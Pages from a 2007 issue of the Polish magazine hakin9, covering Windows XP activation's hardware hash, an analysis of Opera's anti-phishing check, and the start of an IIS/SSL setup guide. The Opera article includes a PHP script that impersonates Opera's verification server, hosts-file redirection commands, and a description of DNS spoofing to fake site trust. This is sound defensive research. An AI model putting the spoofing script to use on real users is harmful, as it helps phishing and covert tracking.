Istnieje siedem predefiniowanych war-
tości określających aproksymowaną
ilość pamięci. Są one przedstawione
w Tabeli 4. Co istotne, wielkość pamię-
ci jest określana poprzez wywołanie
funkcji

GlobalMemoryStatus()

, która po-

daje kilkaset kilobajtów mniej niż obej-
muje rzeczywiście dostępna pamięć.
Tak więc 128 MB fizycznej pamięci
zostanie zwykle zaklasyfikowane jako
pomiędzy 64MB a 127MB.

Czas na rzeczywisty przykład

Jedna z naszych testowych konfigu-
racji dała nam taki wynik:

0xC5 0x95 0x12 0xAC 0x01 0x6E 0x2C 0x32

Skonwertujmy te wartości na słowa
H1 oraz H2:

H1 = 0xAC1295C5

i

H2 = 0x322C6E01

Dzieląc oba słowa na grupy bitów

opisujące sprzęt, otrzymamy:

Modyfikacje sprzętowe

Szukając

efektów

modyfikacji

sprzętowej po aktywacji zainstalo-
wanego systemu Windows XP, moż-
na zauważyć, że główną rolę odgry-
wa tu plik 'wpa.dbl' znajdujący się w
katalogu 'system32 '. Jest to prosta
baza danych zaszyfrowana algoryt-

mem RC4, w której jest umieszczo-
ny czas wygaśnięcia aktywacji jak i
CONFIRMATION ID, a także: war-
tość [a] dla pola konfiguracji sprzętu
reprezentująca bieżącą konfigura-
cję, wartość [b] dla pola konfiguracji
sprzętu reprezentująca konfigurację
w czasie aktywacji.

Podczas gdy wartość [a] jest au-

tomatycznie uaktualniana za każ-
dym razem, gdy konfiguracja jest
zmieniana, [b] pozostaje stała. Za-
tem [b] może być uważane za mi-
gawkę konfiguracji sprzętowej w
czasie aktywacji produktu. Migawka
ta nie istnieje przed aktywacją i je-

Tabela 7.

Słowa podzielone na poszczególne bity

Dw

Offset

Wartość

Znaczenie

H1

0

0x1C5

'1234 – ABCD

H1

10

0x0A5

'00C0DF089E44'

H1

20

0x37

'SCSICDROMPLEXTOR_CD-ROM_PX-
32TS__1.01'

H1

27

0x15

'PCIVEN_102B&DEV
_0519&SUBSYS_
00000000&REV_01'

H2

0

0x1

(nieużywany,ustawiony na 001)

H2

3

0x00

(numer seryjny procesora nie jest do-
stępny)

H2

9

0x37

'SCSIDISKIBM
___DCAS-34330___S65A'

H2

16

0x0C

'PCIVEN_9004&DEV
_7178&SUBSYS
_00000000&REV_03'

H2

21

0x1

'PCIVEN_8086&DEV
_7111&SUBSYS
_00000000&REV_01'

H2

25

0x1

'GenuineIntel Family 6 Model 3'

H2

28

0x3

(system ma 128 MB RAM)

H2

31

0x0

(system nie jest dokowalny)

Literatura

• Fragmenty ABC systemu Windows XP, wyd. Helion.

O autorze

Autor jest informatykiem w średniej wielkości firmie, pisze programy i studiuje w Kato-
wicach. Kontakt z autorem: rafalpa@interia.pl

background image

żeli porównamy wielkość pliku wpa.dbl przed i po pro-
cesie aktywacji, dostrzeżemy powiększenie się jego
rozmiaru. Dzieje się tak dlatego, że migawka jest do-
dawana do bazy. Kiedy trzeba rozsądzić, czy jest po-
trzebna ponowna aktywacja, wartości dla pola kon-
figuracji sprzętu [a] są porównywane z wartościami
[b], czyli konfiguracja bieżąca jest porównywana z tą,
która była aktualna podczas aktywacji systemu.

Niedokowalny komputer

W typowym przypadku porównywane są wszyst-
kie bity obu wartości za wyjątkiem nieużywane-
go i określającego dokowanie. Jeżeli od czasu ak-
tywacji zmieniły się więcej niż trzy z dziesięciu pól
bitowych w wartości [a] – co odpowiada zmianie
4 lub więcej urządzeń), wymagana jest ponowna
aktywacja. Oznacza to na przykład, że zmieniając
dysk twardy, napęd CD-ROM i rozmiar pamięci nie
jesteśmy zmuszani do reaktywowania systemu. Jed-
nakże jeśli dokonamy kompletnej reinstalacji Win-
dows XP, informacja [b] ulegnie zniszczeniu i system
trzeba będzie reaktywować, nawet jeśli nie dokona-
liśmy żadnych zmian w konfiguracji sprzętu.

Dokowalny komputer

Jeżeli wartość bitu 32 wskazuje, że komputer ma sta-
cję dokującą, sprawdzanych jest tylko siedem z dzie-
sięciu pól bitowych (pomijane są: kontroler SCSI, IDE i
karta graficzna). Niestety, znowu tylko trzy z tych sied-
miu pól mogą się zmienić bez wymuszania ponownej
aktywacji systemu.

Podsumowanie

W tym dokumencie został opisany proces startu sys-
temu Windows, a także sposób aktywacji systemu
zaimplementowany w Windows XP. Ukazano, jakie
dane są przesyłane i jak zmiany sprzętowe wpły-
wają na aktywowaną instalację. Patrząc technicz-
nie na działanie Windows Product Activation, wysu-
wamy wniosek, że nie jest ona aż tak problematycz-
na jak się tego spodziewamy. WPA jest jednak dość
tolerancyjne w stosunku do zmian sprzętowych. Do-
datkowo pola bitowe zapisujące konfigurację sprzę-
tu mają określoną pojemność, wiec wiele urządzeń
może być określonych przez tę samą wartość. Tak
więc wiadomo, że CD-ROM PX-32TS jest reprezen-
towany przez wartość 0x37 = 55. Jednak niemożli-
wym jest określenie na podstawie wartości 55, któ-
rą otrzyma Microsoft, że to jest na pewno CD-ROM
PX-32TS.

W opozycji do wielu krytycznych wypowiedzi na

temat WPA, uważam, że procedura ta nie przeszka-
dza zbytnio w typowych modyfikacjach sprzętu – a
co więcej, respektuje prawo użytkownika do prywat-
ności. l

background image

www.hakin9.org

hakin9 Nr 10/2007

56

Obrona

Z

apewne sam Sir Timothy Berners-Lee,
tworząc podwaliny pod protokół HTTP,
nie spodziewał się, że jego dziecko bę-

dzie w przyszłości groźną bronią w rękach
zwykłych kryminalistów.

Celem poniższego artykułu będzie przyj-

rzenie się, w jaki sposób radzi sobie popularny
klient protokołu HTTP – przeglądarka interne-
towa Opera – w ochronie nieświadomych użyt-
kowników Sieci przed staniem się ofiarą inter-
netowego oszustwa.

Zagrożenia

Jak wygląda oszustwo w ujęciu protokołu
HTTP? Otóż w najprostszej implementacji po-
lega ono na stworzeniu przez cyberprzestępcę
spreparowanego serwisu internetowego danej
instytucji. Najczęściej podrabia się witryny in-
stytucji, w których klienci dokonują różnego ro-
dzaju transakcji elektronicznych o charakterze
finansowym – tzw. e-commerce (np. banki in-
ternetowe, serwisy aukcyjne).

Zadaniem spreparowanego serwisu jest

najczęściej gromadzenie wrażliwych danych
użytkowników, takich jak hasła dostępu czy
kody autoryzacyjne do systemów bankowości
internetowej (w celu późniejszego logowania

się do nich i wyprowadzania środków pienięż-
nych z rachunków), czy też danych osobowych
(aby móc je wykorzystać do innych form prze-
stępstw, takich jak kradzieże tożsamości w ce-
lu np. dokonania wymuszenia). Cyberprzestęp-
com zdarza się zamieszczać na łamach fał-
szywych serwisów zwykłe prośby o dokonanie
wpłat na konkretny rachunek bankowy. Przy-
kładem może być tu fałszywy sklep interneto-
wy, w którym należności za kupno towarów są
regulowane na odmienny w stosunku do orygi-
nalnego rachunek bankowy.

Opera – mechanizmy

ochrony przed oszustwami

Marcin Kopeć

stopień trudności

Od kilku lat wszyscy jesteśmy świadkami nowej ery w historii

globalnej sieci Internet. Otóż narzędzie, które początkowo miało

służyć rozwojowi myśli technicznej, w momencie wkroczenia

weń wielkiego biznesu spowodowało pociągniecie za nim

osób chcących w łatwy i szybki sposób wzbogacić się cudzym

kosztem – mowa tu o internetowych przestępcach.

Z artykułu dowiesz się

• w jaki sposób działa mechanizm ochrony przed

oszustwami zaimplementowany w przeglądarce
internetowej Opera,

• czy informacja dostarczana użytkownikowi

przez mechanizm ochronny charakteryzuje się
dostatecznym poziomem rzetelności?

Co powinieneś wiedzieć

• znajomość protokołu HTTP – RFC 2616,
• postawy programowania w PHP, HTML.

background image

www.hakin9.org

Listing 1.

Zapytanie do serwera weryfikującego (tryb automatyczny)

GET /?host

=

www.hakin9.org

&

ph

=

CrmIXGGAlC7mS455Q2szhQ

==

&

hdn

=

hz3g35Z4i/6JXNonVjl4Mg

==

HTTP/1.1

User

-

Agent

:

Opera/9.21

(

Windows NT 5.1

;

U

;

pl

)

Host

:

sitecheck.opera.com

Accept

:

text/html, application/xml

;

q

=

0.9,

application/xhtml

+

xml, image/png, image/jpeg, image/gif,

image/x

-

xbitmap,

*

/

*;

q

=

0.1

Accept

-

Language

:

pl

-

PL,pl

;

q

=

0.9,en

;

q

=

0.8

Accept

-

Charset

:

iso

-

8859

-

1, utf

-

8, utf

-

16,

*;

q

=

0.1

Connection

:

Keep

-

Alive

Listing 2.

Prosty skrypt udający działanie serwera weryfikującego

<?

php

/*
* Użycie:
* {na komputerze z Apache/PHP}
* - zamieść plik jako http://twojastrona.com/index.php
* - dodaj odpowiedni wpis do pliku hosts, np:
* Unix:
* echo 'XXX.XXX.XXX.XXX sitecheck.opera.com' >>
* /etc/hosts
* Windows:
* echo XXX.XXX.XXX.XXX sitecheck.opera.com >>
* %SystemRoot%/system32/drivers/etc/hosts
* gdzie XXX.XXX.XXX.XXX to adres IP twojastrona.com
*/

$mode

= 1;

switch

(

$mode

)

{

case

1:

$trust

=

'NV'

;

break

;

case

2:

$trust

=

'V'

;

break

;

case

3:

$trust

=

'W'

;

break

;

}

header

(

'Content-type: text/xml'

)

;

echo

'

<?

xml version=

"1.0"

encoding=

"utf-8"

?>

<

trustwatch version=

"1.0"

>

<

package

>

<

action type=

"searchresponse"

>

';

echo

"

<

trustlevel

>

$trust

<

/trustlevel

>

<

host

>

$host

<

/host

>

<

partner

>

0

<

/partner

>

<

serverexpiretime

>

0

<

/serverexpiretime

>

<

clientexpiretime

>

0

<

/clientexpiretime

>

";

if

{

$mode

==

3

)

echo

"

<

blacklist

>

<

ph

>

$ph

<

/ph

>

<

/blacklist

>

";

echo

"

<

/action

>

<

/package

>

<

/trustwatch

>

";

?>

background image

hakin9 Nr 10/2007

www.hakin9.org

Obrona

58

Fałszywe serwisy internetowe,

które przy wykorzystaniu metod so-
cjotechnicznych starają się doko-
nać wyłudzenia, bywają najczęściej
umieszczane na serwerach znajdu-
jących się w krajach, w których obo-
wiązujące regulacje prawne nie po-
zwalają na sprawną interwencję or-
ganów ścigania w przypadku otrzy-
mania zgłoszenia z innego kraju o
próbie bądź popełnieniu przestęp-
stwa – dobrym przykładem są tu na-
si wschodni sąsiedzi.

Powszechnie stosowaną metodą

na uwiarygodnienie fałszywego serwi-
su internetowego jest zamieszczanie
go pod adresem domenowym o łudzą-
co podobnej do oryginalnej nazwie.
Przykładowo gdy celem cyberprze-
stępcy jest oszukanie klientów ban-
ku thisismybank.com, może on spró-
bować zarejestrować domeny pod fał-
szywą witrynę z wykorzystaniem mię-
dzy innymi takich nazw jak: thisis-my-
bank.com
(dodano znak rozdzielający
nazwę), thisissmybank.com (dodano
dodatkową literę), thlsismybank.com,
th1sismybank.com (zamieniono jedną
literę na inną, bądź na liczbę czy znak
specjalny), czy tworząc poddomenę
zawierającą w członie nazwę orygi-
nalną jak np. tihisismybank.com.xy-
zxyz.com
. Oszukańcze serwisy są
zwykle udostępniane z wykorzysta-
niem http:// w przeciwieństwie do ory-
ginalnych, udostępnianych po https://
wszystko po to, aby nie wzbudzić u
użytkownika podejrzeń komunikatem
o nieprawidłowym certyfikacie SSL.

Najczęściej, aby sprowokować

klienta do odwiedzin fałszywej wi-
tryny, przestępcy stosują techniki
spammingu – czyli masowego wysy-
łania wiadomości (np. przy pomocy
protokołu poczty elektronicznej bądź
komunikatorów internetowych), któ-
re zawierają informację mającą na-
kłonić adresata do odwiedzin. Wśród
treści tych wiadomości znaleźć moż-
na wyjątkowo okazyjną ofertę spe-
cjalną – promocje, informację o zwy-
cięstwie w konkursie czy też proś-
bę o potwierdzenie hasła. Czasami
można odnaleźć link do oszukańczej
strony zamieszczony w publicznym
serwisie internetowym np. jako post
na forum bądź komentarz w blogu.

Reakcja producentów

Aby dać użytkownikom narzędzie
pozwalające stwierdzić, czy dany
serwis internetowy jest wiarygodny
bądź stworzony w celu malwersacji,
producenci oprogramowania ochron-
nego, a w ślad za nimi czołowi pro-
ducenci przeglądarek internetowych,
przygotowali swoje rozwiązania ma-
jące realizować powyższy cel.

Mechanizmy ochrony przed

oszustwami zastosowano między
innymi w najnowszych wersjach po-
pularnych przeglądarek tj. Internet
Explorer 7, Mozilla Firefox 2.x, czy
Opera 9.x.

W artykule skoncentrowano się

na badaniu zachowania Opery 9.21
(build 8776) w wersji polskiej pod
systemy Windows.

Sposoby ochrony

W Operze mechanizm ochrony przed
oszustwami działa w dwóch trybach.

Pierwszy – nazwijmy go umow-

nie automatycznym – polega na każ-
dorazowej weryfikacji adresu URL
przed jego wywołaniem. Jest to tryb
domyślnie wyłączony. Drugi, manu-
alny
, jest wywoływany ręcznie przez
użytkownika poprzez kliknięcie sym-
boli stanu wiarygodności strony – li-
tery i, bądź znaku ? w prawym rogu
paska adresowego, lub w przypadku
autoryzowanych serwisów, udostęp-
nianych via https://, po naciśnięciu
symbolu kłódki i przejściu do zakład-
ki Ochrona przed oszustwami.

Tryb automatyczny

Gdy użytkownik pragnie odwiedzić
interesujący go serwis, w stronę ser-
wera pełniącego funkcję weryfikato-
ra witryn, dostępnego pod adresem
sitecheck.opera.com, kierowane jest
metodą

GET

zapytanie HTTP zawie-

rające wartości w następujących pa-
rametrach:

host

– nazwa hosta,

ph

– hash z URL’a,

hdn

– hash z nazwy hosta.

Przykład załączony jest na Listingu 1.

Ciekawa cecha powyższego me-

chanizmu jest związana z faktem,
że prośby o weryfikację serwisów

http:// kierowane są do serwera si-
techeck.opera.com
z wykorzysta-
niem protokołu HTTP, który sam w
sobie nie posiada funkcji pozwala-
jącej na uwiarygodnienie strony ser-
wera podczas transmisji, natomiast
tylko w przypadku serwisów https://
sprawdzana jest wiarygodność stro-
ny serwera przy wykorzystaniu ce-
chy protokołu HTTPS jaką niewątpli-
wie jest udział w infrastrukturze klu-
cza publicznego. Tu zastosowano
umieszczony na serwerze, wygene-
rowany przez autoryzowane CA cer-
tyfikat SSL.

Certyfikat weryfikowany jest w

sposób prawidłowy, próby podsta-
wienia własnoręcznie wygenerowa-
nego certyfikatu serwera kończyły
się pojawieniem stosownego komu-
nikatu o jego nieprawidłowości.

Greylisting

Z informacji udostępnionych przez
firmę Opera wynika, iż serwer we-
ryfikujący witryny, po otrzymaniu za-
pytania od użytkownika, sprawdza
je wykorzystując technologię greyli-
stingu
, korzystając z baz dwóch nie-
zależnych dostawców. Organizacja
GeoTrust za pomocą swojego pro-
duktu TrustWatch, udostępnia białą
listę – czyli bazę danych witryn za-
ufanych, oraz czarną listę – bazę wi-
tryn, co do których zachodzą podej-
rzenia, że zostały stworzone w ce-
lu dokonania oszustwa. Bazy Tru-
stWatch
tworzone są przez pracują-
cy w GeoTrust zespół ekspertów, na
podstawie próśb o weryfikację stron
kierowanych do nich przez użytkow-

W Sieci

http://www.opera.com,
http://www.phishtank.com,
http://www.trustwatch.com.

Rysunek 1.

Tabela stanów mechanizmu

ochrony przed oszustwami

background image

Opera – nie daj się oszukać

hakin9 Nr 10/2007

www.hakin9.org

59

ników ich firmowego Toolbar’a. Po-
tem dokonują oni klasyfikacji witry-
ny, a następnie umieszczają ją na
którejś z list: czarnej lub białej, bądź
ignorują w przypadku problemów z
ustaleniem jej wiarygodności.

Drugim źródłem, którym w proce-

sie analizy witryn posługuje się serwer
weryfikujący, jest czarna lista tworzo-
na przez społeczność ludzi uczestni-
czących w niekomercyjnym projekcie
PhishTank, zapoczątkowanym przez
twórców usługi OpenDNS.

Serwer weryfikujący pobiera

czarną listę PhishTank co pewien
okres czasu, w konsekwencji czego
użytkownik Opery może nie otrzymać
ostrzeżenia o najświeższych udo-
stępnianych tam zgłoszeniach – co
też można zaobserwować odwiedza-
jąc najnowsze linki udostępniane na
stronach PhishTank przy włączonym
mechanizmie ochrony przed oszu-
stwami. W przypadku sprawdzania
stron z wykorzystaniem mechanizmu
TrustWatch problem ten nie występu-

je, gdyż serwer weryfikujący kieru-
je zapytanie w czasie rzeczywistym,
bezpośrednio do dostawcy.

Klasyfikacja

Serwer weryfikujący dostarcza od-
powiedź na żądanie sprawdzenia
strony w postaci dokumentu XML.
Wśród dostarczanych parametrów
najważniejszym jest trustlevel, który
definiuje poziom zaufania do strony
w następujący sposób:

NV – Not Verified – strona nie zo-

stała umieszczona ani na białej
ani na czarnej liście,

V – Verified – witryna znajduje

się na białej i nie znajduje się na
czarnej liście,

W – Warning – witryna znajduję

się na czarnej liście.

W parametrze blacklist, który po-
jawia się w przypadku wystąpienia
stanu W – Warning, przekazywany
jest hash z URL’a znajdującego się
na czarnej liście.

Listing 3.

Zapytanie do serwera weryfikującego (tryb manualny)

GET /info/?host

=

www.hakin9.org

&

ph

=

CrmIXGGAlC7mS455Q2szhQ

==

&

hdn

=

hz3g35Z4i/6JXNonVjl4Mg

==

&

site

=

http

%

3A

%

2F

%

2Fwww.hakin9.org

%

2F HTTP/1.1

User

-

Agent

:

Opera/9.21

(

Windows NT 5.1

;

U

;

pl

)

Host

:

sitecheck.opera.com

Accept

:

text/html, application/xml

;

q

=

0.9,

application/xhtml

+

xml, image/png, image/jpeg, image/gif,

image/x

-

xbitmap,

*

/

*;

q

=

0.1

Accept

-

Language

:

pl

-

PL,pl

;

q

=

0.9,en

;

q

=

0.8

Accept

-

Charset

:

iso

-

8859

-

1, utf

-

8, utf

-

16,

*;

q

=

0.1

Connection

:

Keep

-

Alive, TE

TE

:

deflate, gzip, chunked, identity, trailers

Rysunek 2.

Wykorzystując technikę spoofingu, wprowadzono w błąd użytkownika sprawdzającego wiarygodność

serwisu www.hakin9.org

background image

hakin9 Nr 10/2007

www.hakin9.org

Obrona

60

Parametry clientexpiretime i se-

rverexpiretime, jak domniemywam,
określają czas życia informacji w
procesie cachingu.

Sposób odpowiedzi z serwera

na żądanie przeglądarki można za-
obserwować wykorzystując załączo-
ny skrypt (Listing 2), będący de fac-
to prostym emulatorem serwera we-
ryfikującego.

Raportowanie

Na podstawie otrzymanych informa-
cji, mechanizm antyfraudowy przy-
biera odpowiedni stan, który w przy-
padku W – Warning, sygnalizowany
jest przez pojawienie się komunika-
tu mającego poinformować użytkow-
nika o niebezpieczeństwach zwią-
zanych z wizytą strony – opera:
fraud-warning
, a także poprzez wy-
świetlenie odpowiedniego symbolu
w prawym rogu paska adresowego.
Tabelę stanów z symbolami załączo-
no na Rysunku 1.

Tryb manualny

Jak już wspomniałem we wcześniej-
szej części artykułu, użytkownik ma
możliwość skorzystania z weryfika-
cji manualnej. Po dostaniu się do
zakładki Ochrona przed oszustwa-
mi
, przeglądarka wysyła analogiczne
zapytanie jak w przypadku trybu au-
tomatycznego, z tą różnicą, iż wcze-
śniej kieruje metodą

GET

drugie za-

pytanie HTTP (Listing 3.) z dodatko-
wym parametrem site, zawierającym
jako swoją wartość pełny URL w for-
mie jawnej, który to użytkownik ma
wyświetlony w pasku adresowym w
chwili wysłania żądania o weryfika-
cję strony.

W odpowiedzi serwer weryfi-

kujący zwraca dokument w forma-
cie HTML, który następnie jest wy-
świetlany w oknie zakładki. Zawie-
ra on tekstową informację o pozio-
mie wiarygodności strony, a tak-
że – w przypadku stanów V i NV
– przycisk wywołujący metodę

POST

z dwoma parametrami: urlhash z
URL’a oraz opera – numer wersji
przeglądarki.

Po wywołaniu powyższej metody

serwer weryfikujący odsyła użytkow-
nika na witrynę PhishTank, aby ten

mógł zgłosić stronę jako podejrzaną.

Ryzyka

Uważny czytelnik na pewno za-
uważył, że największym proble-
mem bezpieczeństwa mechanizmu
ochrony przed oszustwami Opery
jest zastosowanie protokołu HTTP
do weryfikacji adresów zaczynają-
cych się od http://. Powyższy stan
rzeczy daje pewne możliwości nad-
użyć. Haker wiedząc, że komputer
ofiary prędzej czy później będzie
pytał swój serwer DNS o adres IP
serwera sitecheck.opera.com, mo-
że w stosunku do niego zaimple-
mentować atak DNS Spoofing, po-
legający na wysyłaniu spreparowa-
nych odpowiedzi na żądania DNS,
które rzekomo miałyby pochodzić z
rzeczywistego serwera DNS ofia-
ry, zawierających adres IP kom-
putera hakera w miejsce oryginal-
nego IP serwera sitecheck.ope-
ra.com
(tematykę DNS Spoofing
omówiono w numer 2/2003 cza-
sopisma hakin9). W momencie,
gdy mechanizm antyfraudowy za-
cznie łączyć się z komputerem ha-
kera aby prowadzić proces weryfi-
kacji witryn, haker może wykorzy-
stać powyższy stan rzeczy między
innymi do uwiarygodnienia witryny
stworzonej w celu dokonania oszu-
stwa, wyświetlenia ostrzeżenia o
zagrożeniu oszustwem na zaufa-
nej witrynie, a także (co uważam
za najmniej abstrakcyjny przykład,
a zarazem najbardziej rzeczywiste
zagrożenie) w przypadku włączo-
nego u ofiary trybu automatyczne-
go
, może śledzić aktywność ofiary
w Internecie, poprzez monitorowa-
nie stron, które odwiedza.

Efekt jednego z przykładowych

ataków załączono na Rysunku 2.

Podsumowanie

Mechanizm ochrony przed oszu-
stwami Opery daje użytkownikowi
możliwość uzyskania opinii o wiary-
godności danej witryny z dwóch nie-
zależnych źródeł informacji, co jest
niewątpliwie jego dużym plusem. W
zamian użytkownik musi zaakcep-
tować ryzyko związane z przesyła-
niem żądań weryfikacyjnych niebez-

piecznym kanałem – w tym miejscu
należy podkreślić, że większość ad-
resów w Internecie rozpoczyna się
od http://.

Na zakończenie wspomnieć na-

leży również o fakcie, że obecnie
coraz częściej cyberprzestępcy od-
chodzą od tradycyjnych form phi-
shingu, związanych z tworzeniem
oszukańczych stron internetowych
z podobną do oryginalnych nazwą,
a raczej uciekają się do dużo bar-
dziej wyrafinowanych technik oszu-
stwa. Wykorzystywać można w tym
celu złośliwe oprogramowanie, in-
tegrujące się z przeglądarką in-
ternetową i potrafiące podmieniać
użytkownikowi zawartość przeglą-
danych stron w locie, a także mo-
gące zafałszować informację o nie-
prawidłowym certyfikacie SSL. Ide-
alnym przykładem jest tu koń tro-
jański Torpig/Sinowall/Anserin (na-
zwa odmienna w zależności od sto-
sowanej nomenklatury producen-
tów oprogramowania antywiruso-
wego), który to jest szeroko sto-
sowany w rozproszonych syste-
mach phishingowych do wyłudze-
nia loginów/haseł kont klientów w
internetowych platformach banko-
wych.

W powyższym przypadku, jeśli

użytkownik nie ma 100% gwaran-
cji, że jego stacja robocza nie zo-
stała skompromitowana, to nie po-
winien ufać jakimkolwiek mechani-
zmom sprawdzania wiarygodności
witryn. l

O autorze

Marcin Kopeć pracuje jako oficer bez-
pieczeństwa w jednym z czołowych
polskich banków, należącym do naj-
większej finansowej grupy kapitało-
wej w Europie Środkowej. Na co dzień
zajmuje się problematyką bezpieczeń-
stwa transakcji elektronicznych, w tym
przeciwdziałaniem oszustwom w sekto-
rze bankowości internetowej. Ponadto
specjalizuje się w dziedzinie systemów
detekcji/przeciwdziałania włamaniom
oraz interesuje się kwestiami związany-
mi z bezpieczeństwem aplikacji webo-
wych. Kontakt z autorem:
marcin.kopec@bph.pl

background image

Portal internetowy na którym można znaleźć

garść informacji z wybranych dziedzin IT.

http://howto.pl/

Hacking, security to pojęcia znane profesjonali-

stom na tym portalu można dowiedzieć się cze-

goś więcej o tych zagadnieniach.

http://www.security-web.info

Strona zawiera ogłoszenia pracy na stanowi-

ska związane z branżą IT.

http://pracait.com

Portal poświęcony aktualnościom, artykułom

ze świata informatycznego. Zawiera ciekawe

linki, gry on-line i wiele innych interesujących

wiadomości.

http://hackme.pl

Serwis internetowy firmy QuarkBit Software,

która zajmuje się tworzeniem oprogramowania

dla firm i osób prywatnych.

http://www.quarkbitsoftware.pl

Misją serwisu jest dostarczanie rzetelnych infor-

macji z zakresu szeroko pojętej informatyki. Za-

wiera najświeższe informacje z rynku informa-

tycznego i recenzje czasopism takich jak Hakin9,

php solution, sdj.

http://www.itnews.icx.pl

To portal wydawnictwa CSH. Na tej stronie za-

interesowana osoba znajdzie garść potrzeb-

nych informacji: aktualności ze świata informa-

tycznego, informacje na temat szkoleń itd.

http://www.szkolahakerow.pl

Serwis informacyjny, na którym znajdują się

najświeższe aktualności i artykuły, można zalo-

gować się na forum i podyskutować z ciekawy-

mi osobami na interesujące teamty.

http://www.cc-team.org

Strona internetowa poświęcona aktualnościom

informatycznym. Umieszczone są na niej cie-

kawe artykuły oraz recenzje pism.

http://www.huntersq2.boo.pl

Strony

polecane >>>

Strony

polecane

Misją Infoprof jest zrozumienie potrzeb klienta

i taki dobór usług by jak najlepiej spełniały one

jego oczekiwania, jednocześnie nie narażając

go na niepotrzebne koszty.

www.infoprof.pl

Portal poświęcony zdalnym rozwiązaniom IT,

świadczone usługi są dyskretne i dokładne.

http://xesit.pl

Portal powstał w celu rozreklamowania firmy

zajmującej się kompleksową usługą związaną

z promowaniem stron WWW.

http://www.webgroup.net.pl

background image

www.hakin9.org

hakin9 Nr 10/2007

62

Obrona

R

ozpoczniemy od instalacji serwera
IIS na platformie Windows XP SP2.
W kolejnym kroku skonfigurujemy

go tak, aby działały na nim strony ASP.NET.
Na koniec dodana będzie obsługa protoko-
łu SSL.

Zasada ograniczonego zaufania leży u

podstaw użytkowania Internetu. Nie wol-
no instalować kontrolek ActiveX nieznanych
producentów. Nie należy odwiedzać podej-
rzanych stron WWW. Lepiej nie otwierać za-
łączników poczty nieznanego pochodzenia
itd. Można byłoby wymieniać i wymieniać,
czego to nie można robić surfując po Inter-
necie. Jednak pomimo wielu zagrożeń, skle-
py internetowe to dziś codzienność, a ban-
kowość elektroniczna rozwija się w najlep-
sze. To wszystko stało się możliwe dzięki
protokołom umożliwiającym jednoznaczną
identyfikację witryny WWW i pozwalającym
na bezpieczną transmisję danych pomiędzy
klientem a serwerem. Mowa tu oczywiście o
protokole SSL (ang. Secure Sockets Layer)
lub TLS (ang. Transport Layer Security) i ko-
rzystającym z niego protokole HTTPS (ang.
secure HTTP). Aby zaimplementować proto-
kół SSL, administrator serwera WWW musi

wygenerować klucz publiczny. Klucz ten po-
winien być następnie podpisany przez jed-
ną z organizacji zajmujących się potwierdza-
niem tego typu kluczy (ang. certificate autho-
rity – CA
).

Konfiguracja serwera IIS

dla ASP.NET

z protokołem SSL

Sławomir Orłowski, Jacek Matulewski

stopień trudności

Każdy, nawet najprostszy, projekt powinien zostać

przetestowany. Niniejszy artykuł opisze, w jaki sposób możemy

lokalnie sprawdzić działanie witryny ASP.NET, która wymaga

uwierzytelnienia typu SSL. Jest on skierowany przede wszystkim

do programistów .NET.

Z artykułu dowiesz się

• jak do celów testowych zainstalować i skon-

figurować serwer IIS na komputerze wyposa-
żonym w system Windows XP SP2,

• o konfiguracji serwera IIS do obsługi stron

ASP.NET z uwierzytelnianiem SSL,

• artykuł ten należy traktować jako poradnik

dla programistów .NET, którzy chcą lokalnie
przetestować swoje witryny WWW wymaga-
jące użycia protokołu SSL. Dzięki temu moż-
na uniknąć wielu błędów, co zdecydowanie
podniesie bezpieczeństwo tworzonych pro-
jektów.

Co powinieneś wiedzieć

• ogólna znajomość systemu Windows XP,
• podstawowa znajomość platformy .NET,
• podstawowa znajomość zasad działania pro-

tokołów SSL, TLS i HTTPS.

background image

Konfiguracja serwera IIS dla ASP.NET z protokołem SSL

hakin9 Nr 10/2007

www.hakin9.org

63

Działamy tutaj w myśl zasady,

że w końcu komuś musimy zaufać.
Można na to spojrzeć również jako
na pewnego rodzaju protekcję. Po-
wiedzmy, że chcemy zdobyć nową
pracę. Musimy więc przekonać na-
szego przyszłego szefa, że moż-
na nam zaufać. Największe szan-
se mamy, jeżeli ktoś godny zaufa-
nia nas poleci. I tak mniej więcej
działa podpisywanie certyfikatów.
Współczesne przeglądarki interne-
towe potrafią rozpoznać firmę, któ-
ra podpisuje dany certyfikat. Jeże-
li certyfikat jest nieznanego pocho-
dzenia, wówczas przed wejściem
na taką stronę zostaniemy poin-
formowani o możliwości zaistnie-
nia zagrożenia. Spora część użyt-
kowników ignoruje tego typu infor-
macje. Co to za zagrożenie, skoro
cała transakcja jest szyfrowana?
To prawda, nikt jej nie podsłucha,
ale nie możemy mieć pewności,
co serwer zrobi z poufnymi danymi
po ich otrzymaniu. W końcu to je-
mu ufamy na zasadzie wszystko al-
bo nic. Dla modelu sieciowego OSI
protokół HTTPS działa w warstwie
aplikacji, natomiast protokół SSL
działa w warstwie transportowej.
Takie rozwiązanie wymusza istnie-
nie jednego certyfikatu dla każde-
go adresu IP. Warto również wspo-
mnieć, że protokół SSL zawdzię-
czamy firmie Netscape. Podsumo-
wując, SSL gwarantuje:

• identyfikację stron, czyli pew-

ność, że nikt się nie podszywa
pod klienta bądź serwer,

• szyfrowanie danych, co prak-

tycznie uniemożliwia podsłuch,

• integralność danych, co ozna-

cza pewność, że przesyłane da-
ne nie zostały po drodze pod-
mienione, np. poprzez atak typu
man-in-the-middle.

Trzy główne czynniki (nie licząc
tzw. czynnika ludzkiego) wpływa-
ją na bezpieczeństwo transakcji
HTTPS. Po pierwsze, jakość im-
plementacji obsługi tego typu po-
łączeń w przeglądarce interneto-
wej. Po drugie, konfiguracja serwe-
ra WWW i po trzecie, użyty algo-
rytm kryptograficzny.

Instalacja serwera IIS

Firma Microsoft udostępniła dar-
mową wersję środowiska programi-
stycznego umożliwiającego tworze-

nie projektów ASP.NET. Visual Web
Developer
, bo o nim mowa, posia-
da wbudowany serwer WWW, który
uruchamiany jest wyłącznie do ce-
lów testowych. Jest to szalenie wy-
godne rozwiązanie, ponieważ nie
musimy sami instalować i urucha-
miać serwera IIS w naszym syste-
mie. Jest on uruchamiany na czas
pracy środowiska, a następnie wy-
łączany.

Osobiście zachęcam do po-

brania pakietu Visual Web Deve-
loper
i sprawdzenia jego napraw-
dę sporych możliwości. Jeśli jed-
nak chcielibyśmy sprawdzić lo-
kalnie zachowanie witryny WWW
wraz z protokołem HTTPS, musi-
my sami zainstalować i skonfigu-
rować serwer IIS. Jak się za chwi-
lę okaże, nie jest to wcale trudne.
Wystarczy dodać nowy składnik
systemu Windows ze standardowej
funkcji Dodaj/Usuń składniki sys-
temu Windows. Uruchamiamy Pa-
nel sterowania
(np. przez okno Mój
komputer
) i otwieramy aplet Dodaj/
Usuń
programy. W jego oknie kli-
kamy przycisk Dodaj/Usuń składni-
